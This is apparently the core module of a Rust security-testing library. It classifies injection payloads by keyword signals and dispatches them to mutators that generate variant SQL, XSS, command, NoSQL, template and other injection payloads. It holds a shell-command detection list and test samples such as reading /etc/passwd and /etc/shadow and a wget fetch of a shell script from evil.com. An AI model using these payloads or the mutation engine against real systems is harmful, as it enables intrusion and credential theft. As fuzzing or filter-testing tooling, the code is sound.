pub mod cassandra;
pub mod cmd;
pub mod cmd_windows;
pub mod elastic;
pub mod equiv;
pub mod ldap;
pub mod mongo;
pub mod path_traversal;
pub mod polyglot;
pub mod redis;
pub mod sql;
pub mod ssrf;
pub mod template;
pub mod xss;
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
#[non_exhaustive]
pub enum PayloadType {
Sql,
Xss,
CommandInjection,
Ldap,
Ssrf,
PathTraversal,
TemplateInjection,
NoSql,
Unknown,
}
#[derive(Debug, Clone)]
pub struct GrammarMutation {
pub payload: String,
pub payload_type: PayloadType,
pub description: String,
pub rules_applied: Vec<&'static str>,
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum DiversityPolicy {
Random,
CoverageGuided,
RuleTargeted(&'static [&'static str]),
}
#[derive(Debug, Clone)]
pub struct MutationRequest {
pub max_count: usize,
pub diversity: DiversityPolicy,
pub exclude: std::collections::HashSet<String>,
}
impl Default for MutationRequest {
fn default() -> Self {
Self {
max_count: 10,
diversity: DiversityPolicy::Random,
exclude: std::collections::HashSet::new(),
}
}
}
#[must_use]
pub fn classify(payload: &str) -> PayloadType {
let lower = payload.to_ascii_lowercase();
let sql_signals: u32 = [
lower.contains("select"),
lower.contains("union"),
lower.contains("insert"),
lower.contains("update"),
lower.contains("delete"),
lower.contains("drop"),
lower.contains(" or ") && (lower.contains('=') || lower.contains("like")),
lower.contains(" and ") && lower.contains('='),
lower.contains("1=1"),
lower.contains("--") && (lower.contains('\'') || lower.contains('=')),
lower.contains('\'') && lower.contains('='),
lower.contains("order by"),
lower.contains("group by"),
lower.contains("having"),
lower.contains("sleep("),
lower.contains("benchmark("),
lower.contains("waitfor"),
]
.iter()
.filter(|&&x| x)
.count() as u32;
let xss_signals: u32 = [
lower.contains("<script"),
lower.contains("</script"),
lower.contains("onerror"),
lower.contains("onload"),
lower.contains("onclick"),
lower.contains("onfocus"),
lower.contains("onmouseover"),
lower.contains("alert("),
lower.contains("confirm("),
lower.contains("prompt("),
lower.contains("javascript:"),
lower.contains("<img"),
lower.contains("<svg"),
lower.contains("<iframe"),
lower.contains("<body"),
lower.contains("document.cookie"),
lower.contains("eval("),
]
.iter()
.filter(|&&x| x)
.count() as u32;
let cmd_signals: u32 = [
lower.contains("; ") && contains_shell_command(&lower),
lower.contains("| ") && contains_shell_command(&lower),
lower.contains("&& ") && contains_shell_command(&lower),
lower.contains("|| ") && contains_shell_command(&lower),
lower.contains('`') && contains_shell_command(&lower),
lower.contains("$(") && contains_shell_command(&lower),
lower.contains("/etc/passwd"),
lower.contains("/etc/shadow"),
lower.contains("/bin/"),
lower.contains("${ifs}"),
contains_shell_command(&lower) && lower.starts_with([';', '|']),
]
.iter()
.filter(|&&x| x)
.count() as u32;
if sql_signals >= xss_signals && sql_signals >= cmd_signals && sql_signals >= 1 {
PayloadType::Sql
} else if xss_signals >= sql_signals && xss_signals >= cmd_signals && xss_signals >= 1 {
PayloadType::Xss
} else if cmd_signals >= 1 {
let has_separator_signal = (lower.contains("; ") && contains_shell_command(&lower))
|| (lower.contains("| ") && contains_shell_command(&lower))
|| (lower.contains("&& ") && contains_shell_command(&lower))
|| (lower.contains("|| ") && contains_shell_command(&lower))
|| (lower.contains('`') && contains_shell_command(&lower))
|| (lower.contains("$(") && contains_shell_command(&lower))
|| lower.contains("${ifs}")
|| (contains_shell_command(&lower) && lower.starts_with([';', '|']));
if has_separator_signal {
PayloadType::CommandInjection
} else if path_traversal::detect_type(payload) {
PayloadType::PathTraversal
} else {
if ldap::detect_type(payload) {
PayloadType::Ldap
} else if ssrf::detect_type(payload) {
PayloadType::Ssrf
} else if template::detect_type(payload) {
PayloadType::TemplateInjection
} else if mongo::detect_type(payload)
|| elastic::detect_type(payload)
|| redis::detect_type(payload)
|| cassandra::detect_type(payload)
{
PayloadType::NoSql
} else {
PayloadType::Unknown
}
}
} else {
if ldap::detect_type(payload) {
PayloadType::Ldap
} else if ssrf::detect_type(payload) {
PayloadType::Ssrf
} else if path_traversal::detect_type(payload) {
PayloadType::PathTraversal
} else if template::detect_type(payload) {
PayloadType::TemplateInjection
} else if mongo::detect_type(payload)
|| elastic::detect_type(payload)
|| redis::detect_type(payload)
|| cassandra::detect_type(payload)
{
PayloadType::NoSql
} else {
PayloadType::Unknown
}
}
}
fn contains_shell_command(s: &str) -> bool {
let prefixed = ["cat ", "ls ", "wget ", "curl ", "ping ", "nc ", "dig "];
if prefixed.iter().any(|cmd| s.contains(cmd)) {
return true;
}
let bare = [
"id", "whoami", "bash", "sh", "python", "perl", "ruby", "php", "uname", "env", "printenv",
"nslookup", "ifconfig", "ip addr",
];
let bytes = s.as_bytes();
let is_boundary = |b: u8| -> bool {
matches!(
b,
b' ' | b'\t'
| b'\n'
| b'\r'
| b';'
| b'|'
| b'&'
| b'`'
| b'$'
| b'('
| b')'
| b'<'
| b'>'
| b'\''
| b'"'
| b'/'
| b'\\'
| 0
)
};
bare.iter().any(|cmd| {
let cmd_bytes = cmd.as_bytes();
if cmd_bytes.is_empty() || bytes.len() < cmd_bytes.len() {
return false;
}
let mut i = 0;
while i + cmd_bytes.len() <= bytes.len() {
if bytes[i..i + cmd_bytes.len()] == *cmd_bytes {
let left_ok = i == 0 || is_boundary(bytes[i - 1]);
let right_ok =
i + cmd_bytes.len() == bytes.len() || is_boundary(bytes[i + cmd_bytes.len()]);
if left_ok && right_ok {
return true;
}
}
i += 1;
}
false
})
}
#[must_use]
pub fn mutate(payload: &str, max_mutations: usize) -> Vec<GrammarMutation> {
let payload_type = classify(payload);
mutate_as(payload, payload_type, max_mutations)
}
#[must_use]
pub fn mutate_request(
payload: &str,
payload_type: PayloadType,
request: &MutationRequest,
) -> Vec<GrammarMutation> {
let mut base = mutate_as(payload, payload_type, request.max_count);
if !request.exclude.is_empty() {
base.retain(|m| !request.exclude.contains(&m.payload));
}
match request.diversity {
DiversityPolicy::Random => base,
DiversityPolicy::CoverageGuided => {
let mut seen = std::collections::HashSet::new();
base.into_iter()
.filter(|m| {
let key = m.rules_applied.join(",");
if seen.contains(&key) {
false
} else {
seen.insert(key);
true
}
})
.collect()
}
DiversityPolicy::RuleTargeted(rules) => base
.into_iter()
.filter(|m| m.rules_applied.iter().any(|r| rules.contains(r)))
.collect(),
}
}
pub fn mutate_streaming(
payload: &str,
payload_type: PayloadType,
request: MutationRequest,
) -> impl Iterator<Item = GrammarMutation> {
mutate_request(payload, payload_type, &request).into_iter()
}
#[must_use]
pub fn mutate_as(
payload: &str,
payload_type: PayloadType,
max_mutations: usize,
) -> Vec<GrammarMutation> {
match payload_type {
PayloadType::Sql => {
let mut results: Vec<GrammarMutation> = sql::mutate(payload, max_mutations)
.into_iter()
.map(|m| GrammarMutation {
payload: m.payload,
payload_type: PayloadType::Sql,
description: m.description,
rules_applied: m.rules_applied,
})
.collect();
if results.len() < max_mutations {
for p in polyglot::polyglots_for("sql") {
if results.len() >= max_mutations {
break;
}
results.push(GrammarMutation {
payload: p,
payload_type: PayloadType::Sql,
description: "SQL+XSS polyglot".into(),
rules_applied: vec!["polyglot_sql_xss"],
});
}
}
results.truncate(max_mutations);
results
}
PayloadType::Xss => {
let mut results: Vec<GrammarMutation> = xss::mutate(payload, max_mutations)
.into_iter()
.map(|m| GrammarMutation {
payload: m.payload,
payload_type: PayloadType::Xss,
description: m.description,
rules_applied: m.rules_applied,
})
.collect();
results.truncate(max_mutations);
results
}
PayloadType::CommandInjection => {
let mut results = Vec::new();
let per = max_mutations / 2 + max_mutations % 2;
results.extend(
cmd::mutate(payload, per)
.into_iter()
.map(|m| GrammarMutation {
payload: m.payload,
payload_type: PayloadType::CommandInjection,
description: m.description,
rules_applied: m.rules_applied,
}),
);
results.extend(
cmd_windows::mutate(payload, max_mutations - results.len())
.into_iter()
.map(|m| GrammarMutation {
payload: m.payload,
payload_type: PayloadType::CommandInjection,
description: m.description,
rules_applied: m.rules_applied,
}),
);
if results.len() < max_mutations {
for p in polyglot::polyglots_for("cmd") {
if results.len() >= max_mutations {
break;
}
results.push(GrammarMutation {
payload: p,
payload_type: PayloadType::CommandInjection,
description: "CMD+XSS polyglot".into(),
rules_applied: vec!["polyglot_cmd_xss"],
});
}
}
results.truncate(max_mutations);
results
}
PayloadType::Ldap => ldap::mutate(payload)
.into_iter()
.take(max_mutations)
.map(|p| GrammarMutation {
payload: p,
payload_type: PayloadType::Ldap,
description: "LDAP filter mutation".into(),
rules_applied: vec!["ldap_mutation"],
})
.collect(),
PayloadType::Ssrf => ssrf::mutate(payload)
.into_iter()
.take(max_mutations)
.map(|p| GrammarMutation {
payload: p,
payload_type: PayloadType::Ssrf,
description: "SSRF host/scheme mutation".into(),
rules_applied: vec!["ssrf_mutation"],
})
.collect(),
PayloadType::PathTraversal => path_traversal::mutate(payload)
.into_iter()
.take(max_mutations)
.map(|p| GrammarMutation {
payload: p,
payload_type: PayloadType::PathTraversal,
description: "path traversal encoding mutation".into(),
rules_applied: vec!["path_traversal_mutation"],
})
.collect(),
PayloadType::TemplateInjection => {
let mut results: Vec<GrammarMutation> = template::mutate(payload)
.into_iter()
.take(max_mutations)
.map(|p| GrammarMutation {
payload: p,
payload_type: PayloadType::TemplateInjection,
description: "template injection mutation".into(),
rules_applied: vec!["template_mutation"],
})
.collect();
if results.len() < max_mutations {
for p in polyglot::polyglots_for("ssti") {
if results.len() >= max_mutations {
break;
}
results.push(GrammarMutation {
payload: p,
payload_type: PayloadType::TemplateInjection,
description: "SSTI+XSS polyglot".into(),
rules_applied: vec!["polyglot_ssti_xss"],
});
}
}
results.truncate(max_mutations);
results
}
PayloadType::NoSql => {
let mut results = Vec::new();
let per = max_mutations / 4 + 1;
results.extend(
mongo::mutate(payload)
.into_iter()
.take(per)
.map(|p| GrammarMutation {
payload: p,
payload_type: PayloadType::NoSql,
description: "MongoDB NoSQL mutation".into(),
rules_applied: vec!["nosql_mongo"],
}),
);
results.extend(elastic::mutate(payload).into_iter().take(per).map(|p| {
GrammarMutation {
payload: p,
payload_type: PayloadType::NoSql,
description: "Elastic NoSQL mutation".into(),
rules_applied: vec!["nosql_elastic"],
}
}));
results.extend(
redis::mutate(payload)
.into_iter()
.take(per)
.map(|p| GrammarMutation {
payload: p,
payload_type: PayloadType::NoSql,
description: "Redis NoSQL mutation".into(),
rules_applied: vec!["nosql_redis"],
}),
);
results.extend(cassandra::mutate(payload).into_iter().take(per).map(|p| {
GrammarMutation {
payload: p,
payload_type: PayloadType::NoSql,
description: "Cassandra NoSQL mutation".into(),
rules_applied: vec!["nosql_cassandra"],
}
}));
results.truncate(max_mutations);
results
}
PayloadType::Unknown => {
let mut results = Vec::new();
let per_type = max_mutations / 5;
results.extend(mutate_as(payload, PayloadType::Sql, per_type));
results.extend(mutate_as(payload, PayloadType::Xss, per_type));
results.extend(mutate_as(payload, PayloadType::CommandInjection, per_type));
results.extend(mutate_as(payload, PayloadType::NoSql, per_type));
results.extend(mutate_as(payload, PayloadType::TemplateInjection, per_type));
results.truncate(max_mutations);
results
}
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn classify_sql_injection() {
assert_eq!(classify("' OR 1=1--"), PayloadType::Sql);
assert_eq!(
classify("' UNION SELECT username FROM users--"),
PayloadType::Sql
);
assert_eq!(classify("1' AND 1=1#"), PayloadType::Sql);
}
#[test]
fn classify_xss() {
assert_eq!(classify("<script>alert(1)</script>"), PayloadType::Xss);
assert_eq!(classify("<img src=x onerror=alert(1)>"), PayloadType::Xss);
assert_eq!(
classify("javascript:alert(document.cookie)"),
PayloadType::Xss
);
}
#[test]
fn classify_command_injection() {
assert_eq!(classify("; cat /etc/passwd"), PayloadType::CommandInjection);
assert_eq!(classify("| ls -la"), PayloadType::CommandInjection);
assert_eq!(
classify("&& wget http://evil.com/shell.sh"),
PayloadType::CommandInjection
);
}
#[test]
fn classify_path_traversal_not_cmdi() {
assert_eq!(classify("../../../etc/passwd"), PayloadType::PathTraversal);
assert_eq!(
classify("....//....//....//etc/passwd"),
PayloadType::PathTraversal
);
assert_eq!(classify("; cat /etc/passwd"), PayloadType::CommandInjection);
assert_eq!(classify("| cat /etc/shadow"), PayloadType::CommandInjection);
}
#[test]
fn classify_unknown() {
assert_eq!(classify("hello world"), PayloadType::Unknown);
assert_eq!(classify("normal parameter value"), PayloadType::Unknown);
}
#[test]
fn mutate_auto_classifies() {
let sql = mutate("' OR 1=1--", 10);
assert!(!sql.is_empty());
assert!(sql.iter().all(|m| m.payload_type == PayloadType::Sql));
let xss = mutate("<script>alert(1)</script>", 10);
assert!(!xss.is_empty());
assert!(xss.iter().all(|m| m.payload_type == PayloadType::Xss));
let cmd = mutate("; cat /etc/passwd", 10);
assert!(!cmd.is_empty());
assert!(
cmd.iter()
.all(|m| m.payload_type == PayloadType::CommandInjection)
);
}
#[test]
fn mutate_as_overrides_classification() {
let result = mutate_as("<script>alert(1)</script>", PayloadType::Sql, 10);
assert!(result.iter().all(|m| m.payload_type == PayloadType::Sql));
}
#[test]
fn unknown_tries_all_types() {
let result = mutate_as("ambiguous payload", PayloadType::Unknown, 30);
assert!(result.len() <= 30);
}
#[test]
fn grammar_mutations_differ_from_encoding() {
let sql = mutate("' OR 1=1--", 20);
for m in &sql {
if m.rules_applied.contains(&"tautology_swap") {
assert_ne!(
m.payload, "' OR 1=1--",
"tautology_swap should produce a different payload: {}",
m.payload
);
}
}
}
#[test]
fn high_volume_does_not_panic() {
let _ = mutate("' OR 1=1--", 1000);
let _ = mutate("<script>alert(1)</script>", 1000);
let _ = mutate("; cat /etc/passwd", 1000);
let _ = mutate("", 1000);
}
}